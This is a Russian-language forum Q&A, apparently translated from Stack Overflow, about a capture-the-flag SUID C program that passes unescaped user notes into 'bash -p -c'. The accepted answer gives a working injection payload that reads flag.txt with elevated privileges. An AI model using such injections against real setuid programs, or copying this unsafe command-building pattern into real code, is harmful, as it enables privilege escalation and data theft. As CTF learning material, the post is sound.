Как командной оболочке ввести файл

#c #linux #shell #inject

#c #linux #оболочка #внедрить

Вопрос:

У меня есть следующая программа на c, которая является SUID.

 int  execute(char *command, char *envp[])
{
     pid_t  pid;
     int    status=0;
     char *argv[] = {"/bin/bash", "-p", "-c", command, NULL};

     if ((pid = fork()) < 0) {     /* fork a child process           */
          printf("*** ERROR: forking child process failedn");
          exit(1);
     }
     else if (pid == 0) {          /* for the child process:         */
          if (execvpe(*argv, argv, envp) < 0) {     /* execute the command  */
               printf("*** ERROR: exec failedn");
               exit(1);
          }
     }
     else {                                  /* for the parent:      */
          while (wait(amp;status) != pid)       /* wait for completion  */
               ;
     }
     return status;
}


int  main(int argc, char * argv[], char *envp[])
{  
     char command[256];
     char name[64];
     char menu[10];
     char notes[128];
     char filename[128] = PREFIX;

     strcat(filename,"mynotes.txt");
     
     printf("What's your name? ");
     fgets(name, 64, stdin);
     strtok(name,"n");
     printf("Welcome %s!n", name);
     do {
          printf("nWhat would you like to do? n");
          printf("[1] Check the weathern");
          printf("[2] Write a noten");
          printf("[3] Read my notesn");
          printf("[4] Get the flagn");
          printf("[5] Quitn");
          printf("Enter your choise (1-5): ");
          fgets(menu,10,stdin);

          switch(menu[0]) {
               case '1': 
                    strcpy(command, "/usr/bin/curl wttr.in/?format=4");
                    execute(command,envp);
                    break;
               case '2':
                    printf("Please type in your notes (128 characters max.):n");
                    fgets(notes, 128, stdin);
                    sprintf(command, "/bin/echo '%s' >> %s", notes, filename);
                    execute(command,envp);
                    break;
               case '3':
                    sprintf(command,"/bin/cat %s", filename);
                    execute(command,envp);
                    break;
               case '4':
                    printf("I'm sorry %s, I'm afraid I can't do that.n", name);
                    break;
          }
     }
     while(menu[0] != '5');

     return 0;
}
  

Как я могу использовать это с помощью командной оболочки для отображения содержимого другого файла, принадлежащего тому же пользователю.
Например, я пробовал ./shellwrapper ;cat flag.txt — но в разрешении отказано, поскольку ./ shellwrapper завершен, и suid больше не действует. Есть ли уязвимость в выборе меню?

Комментарии:

1. Вам нужно доработать этот пример до минимального проверяемого примера — ваш вопрос не имеет ничего общего с вашей системой заметок, погодой или любой другой вашей системой меню. Покажите нам код, который фокусируется именно — и только — на том, что вы пытаетесь сделать с файлами, которые вы можете показать здесь .

2. Другие команды в той же строке не передаются в качестве входных данных в новую оболочку. Ваша исходная оболочка анализирует командную строку и выполняет каждую из них отдельно.

3. Кроме того, оболочка, которую вы запускаете из shellwrapper, получает свою команду из -c опции, а не из стандартного ввода.

4. @Barmar Да, я вижу, что они выполняются отдельно, как кошка flag.txt получает отказ в разрешении. Мне интересно, как я могу использовать flag.txt файл внутри ./ shellwrapper, поскольку это программа SUID

Ответ №1:

Выберите вариант 2 и введите следующее примечание:

 ';cat flag.txt;echo '
  

Это работает, потому что оно не экранирует ввод примечания, поэтому, когда вы заменяете примечание, вы получаете

 /bin/echo '';cat flag.txt;echo '' >> mynotes.txt
  

Это будет выполнено оболочкой SUID. Он будет выводиться flag.txt на терминал и записывать пустую строку в mynotes.txt .